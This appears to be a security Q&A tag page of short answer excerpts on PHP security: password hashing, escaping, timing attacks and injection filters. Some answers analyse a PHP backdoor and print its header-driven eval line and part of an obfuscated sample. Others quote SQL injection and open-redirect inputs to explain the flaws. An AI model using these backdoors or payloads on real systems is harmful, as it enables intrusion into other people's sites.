Tag Info

Hot answers tagged

31

For starters you rolled your own piece of password hashing algorithm. There are currently but three password hashing algorithms which are considered secure: PBKDF2 scrypt bcrypt You are iterating and you are appending a salt. You also seem to add the username within the algorithm, which does not add any benefit as you are already using a salt. What I ...


17

Assuming that some-salt is in fact never repeated, this is an acceptable password hashing method. It combines the three essential elements: no recovery of the hash from the passwords (thanks to the use of SHA-512), intrinsic slowness (due to the high number of SHA-512 iterations), and a unique salt. The salt needs to be globally unique: it must not be used ...


16

Your algorithm is better by miles than many "homebrew" ones. The reason why I'd still switch to a standardised one is you get the benefit of all the scrutiny that these standards have received which your own construction has not. Is there definitely no mistake in your construction that allows a trivial break? If not, are you sure your algorithm isn't ...


10

It is a very obfuscated way of doing this: eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT)); This alone won't do anything until someone views the page with the HTTP_X_UP_DEVCAP_IMMED_ALERT header set, then the content of this header will be executed on your webpage. It looks like someone wants to execude code, perhaps for a botnet. If you are interested in ...


10

Regarding your sanitization function - while I can't produce an exploit for the exact example you provided, if we change your example to something like this: $sql = "UPDATE ipsum SET price=$str WHERE id=1337"; If a value of 10, otherColumn=1234 or maybe 10;-- was passed in for $str you could see problems. If you roll your own sanitization function and ...


8

That's really a very bad idea. Consider two people using a similar password where the two letters match. How will you be able to distinguish between the both of them? Not. We use username and password to identify someone. If you just need to protect the application you might as well share a password since you don't seem to care about accountability.


8

One drawback to including the username as part of the salt is it means you cannot rename a user (e.g. administratively) without generating a new password hash (which means you'd have to pick a new password and tell the user, or ask the user for their current password).


6

No, this is not possible. A salt protects you from collisions in the hashed password, not collisions in the plain text password. If two users have the same password then you'll have two password/salt/hash combinations which pass your validation and you won't be able to distinguish between the users. The problems you're having with how to look the users up ...


6

Firstly, PHP already has your second function and it's called addslashes(). The docs explicitly say: To escape database parameters, DBMS specific escape function (e.g. mysqli_real_escape_string() for MySQL or pg_escape_literal(), pg_escape_string() for PostgreSQL) should be used for security reasons. If your DBMS doesn't have an escape ...


5

Malware analysis is fun! I have not done this with PHP before, but lets see what we can do. First, I want to format it correctly. I found an online tool called phpbeautifier.com which does this nicely. Output is now: <?php $nkIL3_ = 'Hn' & ~hTzup; $TTCpX = 'HEr@D@(DEi&' | 'HD"AN`(eT$I.'; $fGZGQD2 = l5fg . '{3Ht&d~' & '|,' . /*'. 'gri*/ ...


4

Your code fails: if the default connection charset on the MySQL server is not a strict ASCII superset, for example if it is Shift-JIS (which can smuggle the byte for backslash in the second byte of a multibyte sequence); if the MySQL server is configured to use the no_backslash_escape sql_mode option (as it may be for interoperability because backslash ...


4

You should ensure that your session token is random and at least 128 bits. Aside from that you just basically send a session token and a user id. To be fair, only your session token should be needed to identify a user since it is unique. Ensure also that you destroy the session token after the user logs out. Aside from that it seems similar to any other ...


4

The presented mitigation is absolutely insufficient. It’s not just possible to include any file from the current directory but also from any directory depending on the file system (i. e., \.. still works on Windows) or by using an absolute path (e. g., /… on Unix-like systems, or \… on Windows) as well via different protocols/wrappers (e. g., http://…, ...


3

You can exploit the != comparison of strpos’s return value and false as 0 != false is false: var_dump(0 != false); // bool(false) This is due to implicit type conversion to boolean, where 0 is converted to false. So you only need to ensure one of the strpos returns 0, which means $id has to start with either union or select, for example: id=union' union ...


3

This is a type of timing attack, leading to a username enumeration vulnerability. Whether this is a threat or not depends on the design of your system. If usernames are supposed to be private them it is a concern. Some systems are written in such as way that the enumeration of users fits into the design, such as email providers, as email addresses are ...


3

First of all, from a password security perspective you have a pretty good algorithm. Your salt is technically not a salt, since it is the same for every user, but when you combine it with the username it is a unique piece of information, thus you do have the complete security of a salt. If your "some-salt" string is cryptographically strong (at least 64 ...


2

I can see a few problems with your approach. You appear to be using a constant salt value. It is more secure to generate a new salt for each password. Including username in the salt can be problematic. As pointed out by Andrew, it means you cannot rename a user. It does partially mitigate the problem with a constant salt. But it does not fully mitigate the ...


2

Yes - this is a security threat. As others have pointed out, this is a side channel attack. Although you are following OWASP advice and returning the same message, you are still revealing to an attacker whether the particular account exists. If you were using user-selected names, I would say leave it be. In that case, the sign up process reveals what user ...


2

I don't see this as a major threat. Yes, it gives an attacker a way to verify that a given username exists, but in a typical application, there are many other ways to get this information. If you want to prevent this timing attack, you can re-write your login page to hash the password before checking to see if the username exists, thus slowing down all ...


2

I agree this could be seen as something like a side channel attack. It could pose a significant threat, but it depends on the circumstances as most registration pages will tell you if an email is already registered. This could be an issue where users are assigned a random username such as a bank assigning a client ID. Just hash the supplied password ...


2

Please do NOT consider disable_functions a security feature. See my previous answer to a different question on stackoverflow - even PHP does not consider disable_functions and similar as a real security feature(s).


2

Yes. Any HTTP request that isn't protected by SSL/TLS/HTTPS is vulnerable to MitM attacks. Without the integrity that is provided by HTTPS, any component of the HTML served over HTTP is vulnerable to attack or modification by a man-in-the-middle. For instance, the form's action could be changed, so instead of the form being POSTed to your intended page, ...


2

There have been issues with filter_var when used with FILTER_VALIDATE_EMAIL in the past, however I cannot find any vulnerabilities with FILTER_VALIDATE_IP. Even though an IP address does not contain characters that have special meaning within HTML (e.g. <) or have characters that can break out of a database query (e.g. '), I would treat the value like ...


2

Theoretically, I think this can be bypassed using HPP (HTTP Parameter pollution), for example ?id=union select&id=union select ... counter==2 will be bypassed this way. One other way I think could be using comments like un/**/ion+se/**/lect One other thing to note that to bypass this, we can proof the counter false using legitimate union select ...


2

Someone could pass a link to //xss.com/malware.php, by encoding it as https://www.example.com/login.php?previous_page=%2F%2Fxss.com%2Fmalware.php. To prevent this, you could pass the path from the site root as the parameter, so you would pass only dashboard.php. Then assemble the full link on the server side.


2

Can you remove the brakes of your car to save weight? Well, if you only drive on an isolated site and keep the speed at a minimum and ensure that nothing extraordinary will ever happen (like an uninformed person using the car), probably. Your method “works” as long as you control every single aspect of the system and don't overlook anything. You've already ...


1

Escaping in general has had issues. Please use prepared statements, instead of escaping anything. It's the only sane way to pass parameters to SQL queries. I'm pretty sure it's also the fastest, since it's just passing the values to the sql server.


1

The echo output with the \0 included is supposed to happen, nothing to worry. In order to understand the attack, you have to know how C and PHP store strings. C In C, a string is simply a a pointer to a memory address where the pointer points to the start of the string, and the \0 character indicates the end. No length is stored, all code that reads ...


1

SQL Injection does not require the use of union or select . SQL injection means that the query structure itself has been altered by user input. How about where $id is ' OR '1'='1? This will make your query become SELECT username,password FROM admin WHERE username='' OR '1'='1' ORDER BY 1 which means all records will be returned. The solution is to use ...


1

I think there are bigger issues at play, for one your logs seems to suggest there is an issue with your application caused by a file which can't be opened. The fact that there were dozens of logs all within the same second implies that this error is also occurring multiple times in the same request. This may or may not be contributing to your site being ...



Only top voted, non community-wiki answers of a minimum length are eligible